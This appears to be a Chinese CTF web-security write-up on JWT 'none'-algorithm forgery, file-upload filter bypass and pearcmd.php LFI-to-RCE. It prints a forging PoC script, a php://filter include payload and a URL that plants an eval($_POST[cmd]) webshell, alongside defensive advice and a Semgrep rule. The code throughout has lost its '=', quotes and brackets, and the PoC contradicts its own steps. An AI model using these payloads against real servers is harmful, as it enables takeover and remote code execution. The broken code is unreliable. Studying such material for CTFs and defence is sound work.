CTF Web漏洞审计JWT逻辑缺陷与文件上传绕过深度剖析1. 漏洞审计方法论Web安全竞赛中漏洞审计能力是区分选手水平的关键指标。本文将聚焦两类高频漏洞JWT逻辑缺陷和文件上传绕过通过真实赛题还原攻击链提炼可复用的审计方法论。漏洞审计核心流程输入点定位参数、Cookie、文件等数据流追踪前后端交互逻辑安全机制验证签名、过滤、权限等异常路径构造边界条件测试提示审计时应重点关注业务逻辑与安全控制的交叉点这类位置常出现设计缺陷2. JWT逻辑缺陷实战2.1 JWT基础结构分析JSON Web Token通常由三部分组成header.payload.signature典型header示例{ alg: HS256, typ: JWT }常见漏洞触发点头部alg字段篡改none算法密钥暴力破解弱密钥签名验证缺失业务逻辑绕过2.2 赛题案例CoolIndex权限绕过题目关键代码片段try { const decoded jwt.verify(token, JWT_SECRET); if (decoded.sub ! premium index 7) { return res.status(403).json({ message: 需订阅高级会员 }); } index parseInt(index); // 关键漏洞点 } catch (error) { res.clearCookie(token); return res.status(403).json({ message: 重新登录 }); }漏洞利用步骤注册普通用户获取初始JWT修改payload中的sub字段为premium构造index参数为7abc触发类型混淆parseInt(7abc)返回数字7绕过校验自动化POC脚本import jwt import requests def exploit(): base_url http://target.com/api token jwt.encode({sub:user,iat:1516239022}, , algorithmnone) params {index: 7abc} cookies {token: token} r requests.get(f{base_url}/articles, paramsparams, cookiescookies) print(r.json())3. 文件上传绕过技巧3.1 黑名单绕过矩阵过滤方式绕过方法适用场景扩展名检测.php5/.phtml/.pharApache解析漏洞内容检测添加GIF头/短标签PHP配置宽松大小写过滤.PhP/.pHpWindows服务器特殊字符%00截断/双扩展名旧版PHP版本3.2 赛题案例UpgdStore双重过滤绕过题目采用双层防御扩展名白名单仅允许.php内容黑名单过滤$_、eval等关键词创新绕过方案上传base.php内容经base64编码上传shell.php包含编码文件?php include(base64_decode(cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1iYXNlLnBocA));利用php://filter链实现解码执行防御方案对比不安全实现仅检查文件头推荐方案文件内容AST解析 沙箱执行检测4. 漏洞组合利用4.1 Pearcmd.php LFI到RCE经典攻击链构造/index.php//usr/local/lib/php/pearcmd.php?config-create/file/usr/local/lib/php/pearcmd.php/?eval($_POST[cmd]);?/tmp/shell.php关键步骤解析利用pearcmd.php的config-create功能注入PHP代码到临时文件通过LFI包含生成的后门文件4.2 防御深度强化方案禁用危险函数putenv、dl等设置open_basedir限制定期更新PEAR组件实施文件操作日志审计5. 自动化审计工具链推荐工具组合静态分析Semgrep自定义规则检测JWT问题动态测试Burp API Scanner自动化参数变异流量分析Wireshark异常协议检测自定义脚本Python Requests库精准POC验证典型检测规则示例Semgreprules: - id: jwt-none-alg pattern: jwt.decode(..., {..., algorithms: [none]}) message: JWT accepting none algorithm severity: WARNING在实战中真正的漏洞往往藏在业务逻辑的灰色地带。记得在某次比赛中通过分析用户权限状态转换时的时序问题最终实现了从普通用户到超级管理员的垂直越权。这种深层次的逻辑漏洞往往需要审计者具备系统级的思维视角。